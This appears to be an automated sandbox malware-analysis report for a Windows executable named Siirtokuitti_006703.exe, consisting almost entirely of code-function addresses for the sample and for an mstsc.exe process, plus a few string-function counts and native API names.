Windows Analysis Report
Siirtokuitti_006703.exe

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_00404D90	1_2_00404D90
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_00406ABA	1_2_00406ABA
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322B27	1_2_03322B27
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321F29	1_2_03321F29
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332272F	1_2_0332272F
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332172C	1_2_0332172C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03320F18	1_2_03320F18
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332277C	1_2_0332277C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321360	1_2_03321360
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03320F53	1_2_03320F53
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322B9E	1_2_03322B9E
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321F89	1_2_03321F89
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033227F7	1_2_033227F7
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033213E4	1_2_033213E4
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322BEA	1_2_03322BEA
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03320FD5	1_2_03320FD5
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321FD9	1_2_03321FD9
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03320BDF	1_2_03320BDF
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332222D	1_2_0332222D
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321673	1_2_03321673
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332267F	1_2_0332267F
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03320E60	1_2_03320E60
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332126C	1_2_0332126C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321A58	1_2_03321A58
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321E5C	1_2_03321E5C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322AB8	1_2_03322AB8
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322A9F	1_2_03322A9F
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033226F4	1_2_033226F4
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033212E5	1_2_033212E5
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033216D0	1_2_033216D0
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321ECF	1_2_03321ECF
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322536	1_2_03322536
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332151E	1_2_0332151E
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332191E	1_2_0332191E
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322D0F	1_2_03322D0F
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332110C	1_2_0332110C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321D72	1_2_03321D72
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033221A9	1_2_033221A9
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322597	1_2_03322597
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321994	1_2_03321994
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321598	1_2_03321598
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332118F	1_2_0332118F
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03320D8F	1_2_03320D8F
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033211FC	1_2_033211FC
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033225FC	1_2_033225FC
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03320DE5	1_2_03320DE5
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033215E8	1_2_033215E8
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321DEE	1_2_03321DEE
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033219D4	1_2_033219D4
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321031	1_2_03321031
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321439	1_2_03321439
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322876	1_2_03322876
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322874	1_2_03322874
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332287A	1_2_0332287A
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322878	1_2_03322878
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332287E	1_2_0332287E
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332287C	1_2_0332287C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332286E	1_2_0332286E
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332245F	1_2_0332245F
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322043	1_2_03322043
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03320C45	1_2_03320C45
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321C4C	1_2_03321C4C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322C4C	1_2_03322C4C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033228BB	1_2_033228BB
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033228BE	1_2_033228BE
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322CA1	1_2_03322CA1
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322892	1_2_03322892
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322890	1_2_03322890
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322896	1_2_03322896
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322898	1_2_03322898
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321499	1_2_03321499
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321899	1_2_03321899
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322882	1_2_03322882
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322880	1_2_03322880
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322886	1_2_03322886
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322884	1_2_03322884
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332288A	1_2_0332288A
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03322888	1_2_03322888
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332288E	1_2_0332288E
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332288C	1_2_0332288C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332108D	1_2_0332108D
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033220F7	1_2_033220F7
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03321CC4	1_2_03321CC4
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033228C8	1_2_033228C8
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033224CF	1_2_033224CF
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091BD830	1_2_091BD830
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091DA300	1_2_091DA300
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091D8B70	1_2_091D8B70
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091DA36B	1_2_091DA36B
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091BDA50	1_2_091BDA50
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091BBAD0	1_2_091BBAD0
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091DB2E6	1_2_091DB2E6
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091D9C37	1_2_091D9C37
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091C4450	1_2_091C4450
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091C444E	1_2_091C444E
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661D72	3_2_01661D72
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662536	3_2_01662536
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662D0F	3_2_01662D0F
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166110C	3_2_0166110C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166151E	3_2_0166151E
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166191E	3_2_0166191E
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01660DE5	3_2_01660DE5
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661DEE	3_2_01661DEE
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016615E8	3_2_016615E8
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016611FC	3_2_016611FC
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016625FC	3_2_016625FC
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016619D4	3_2_016619D4
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016621A9	3_2_016621A9
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166118F	3_2_0166118F
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01660D8F	3_2_01660D8F
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662597	3_2_01662597
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661994	3_2_01661994
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661598	3_2_01661598
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166286E	3_2_0166286E
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662876	3_2_01662876
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662874	3_2_01662874
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166287E	3_2_0166287E
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166287C	3_2_0166287C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166287A	3_2_0166287A
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662878	3_2_01662878
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01660C45	3_2_01660C45
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662043	3_2_01662043
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661C4C	3_2_01661C4C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662C4C	3_2_01662C4C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166245F	3_2_0166245F
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661031	3_2_01661031
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661439	3_2_01661439
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016620F7	3_2_016620F7
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661CC4	3_2_01661CC4
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016624CF	3_2_016624CF
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016628C8	3_2_016628C8
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662CA1	3_2_01662CA1
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016628BE	3_2_016628BE
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016628BB	3_2_016628BB
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662886	3_2_01662886
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662884	3_2_01662884
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662882	3_2_01662882
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662880	3_2_01662880
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166288E	3_2_0166288E
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166288C	3_2_0166288C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166108D	3_2_0166108D
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166288A	3_2_0166288A
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662888	3_2_01662888
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662896	3_2_01662896
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662892	3_2_01662892
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662890	3_2_01662890
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662898	3_2_01662898
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661499	3_2_01661499
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661899	3_2_01661899
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661360	3_2_01661360
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166277C	3_2_0166277C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01660F53	3_2_01660F53
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662B27	3_2_01662B27
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166272F	3_2_0166272F
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166172C	3_2_0166172C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661F29	3_2_01661F29
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01660F18	3_2_01660F18
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016613E4	3_2_016613E4
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662BEA	3_2_01662BEA
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016627F7	3_2_016627F7
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01660FD5	3_2_01660FD5
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01660BDF	3_2_01660BDF
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661FD9	3_2_01661FD9
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661F89	3_2_01661F89
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662B9E	3_2_01662B9E
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01660E60	3_2_01660E60
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166126C	3_2_0166126C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661673	3_2_01661673
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166267F	3_2_0166267F
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661E5C	3_2_01661E5C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661A58	3_2_01661A58
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166222D	3_2_0166222D
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016612E5	3_2_016612E5
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016626F4	3_2_016626F4
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01661ECF	3_2_01661ECF
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016616D0	3_2_016616D0
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662AB8	3_2_01662AB8
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01662A9F	3_2_01662A9F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650445	5_2_04650445
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BD480	5_2_046BD480
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0471A526	5_2_0471A526
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_047075C6	5_2_047075C6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470F5C9	5_2_0470F5C9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04674670	5_2_04674670
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FD646	5_2_046FD646
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046ED62C	5_2_046ED62C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466C600	5_2_0466C600
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C36EC	5_2_046C36EC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464C6E0	5_2_0464C6E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470F6F6	5_2_0470F6F6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470A6C0	5_2_0470A6C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650680	5_2_04650680
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04652760	5_2_04652760
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465A760	5_2_0465A760
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04706757	5_2_04706757
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FE076	5_2_046FE076
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_047070F1	5_2_047070F1
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465B0D0	5_2_0465B0D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046400A0	5_2_046400A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0468508C	5_2_0468508C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0469717A	5_2_0469717A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046ED130	5_2_046ED130
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0471010E	5_2_0471010E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466B1E0	5_2_0466B1E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046551C0	5_2_046551C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04612245	5_2_04612245
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470124C	5_2_0470124C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463D2EC	5_2_0463D2EC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470F330	5_2_0470F330
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465E310	5_2_0465E310
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04641380	5_2_04641380
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04653C60	5_2_04653C60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470EC60	5_2_0470EC60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04706C69	5_2_04706C69
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FEC4C	5_2_046FEC4C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465AC20	5_2_0465AC20
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04640C12	5_2_04640C12
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D7CE8	5_2_046D7CE8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466FCE0	5_2_0466FCE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0471ACEB	5_2_0471ACEB
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04668CDF	5_2_04668CDF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046E9C98	5_2_046E9C98
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650D69	5_2_04650D69
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04707D4C	5_2_04707D4C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470FD27	5_2_0470FD27
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464AD00	5_2_0464AD00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EFDF4	5_2_046EFDF4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04659DD0	5_2_04659DD0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04662DB0	5_2_04662DB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046F0E6D	5_2_046F0E6D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04692E48	5_2_04692E48
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04670E50	5_2_04670E50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04642EE8	5_2_04642EE8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04709ED2	5_2_04709ED2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04651EB2	5_2_04651EB2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04700EAD	5_2_04700EAD
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470FF63	5_2_0470FF63
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465CF00	5_2_0465CF00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04656FE0	5_2_04656FE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04701FC6	5_2_04701FC6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470EFBF	5_2_0470EFBF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470F872	5_2_0470F872
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04636868	5_2_04636868
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04659870	5_2_04659870
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466B870	5_2_0466B870
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C5870	5_2_046C5870
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046F0835	5_2_046F0835
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04653800	5_2_04653800
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467E810	5_2_0467E810
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_047078F3	5_2_047078F3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046528C0	5_2_046528C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_047018DA	5_2_047018DA
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C98B2	5_2_046C98B2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04666882	5_2_04666882
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046199E8	5_2_046199E8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046959C0	5_2_046959C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464E9A0	5_2_0464E9A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470E9A6	5_2_0470E9A6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470EA5B	5_2_0470EA5B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470CA13	5_2_0470CA13
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466FAA0	5_2_0466FAA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470FA89	5_2_0470FA89
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470FB2E	5_2_0470FB2E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0468DB19	5_2_0468DB19
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650B10	5_2_04650B10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C4BC0	5_2_046C4BC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_00338E50	5_2_00338E50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_003512E6	5_2_003512E6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_00350300	5_2_00350300
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0035036B	5_2_0035036B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0033A450	5_2_0033A450
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0033A44E	5_2_0033A44E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_00333830	5_2_00333830
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_00333A50	5_2_00333A50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_00331AD0	5_2_00331AD0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0034EB70	5_2_0034EB70
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0034FC37	5_2_0034FC37

Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 046CEF10 appears 105 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 04697BE4 appears 91 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 04685050 appears 36 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 0463B910 appears 268 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 046BE692 appears 86 times

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091D6B30 NtReadFile,	1_2_091D6B30
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091D6A80 NtCreateFile,	1_2_091D6A80
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091D6C20 NtReadVirtualMemory,	1_2_091D6C20
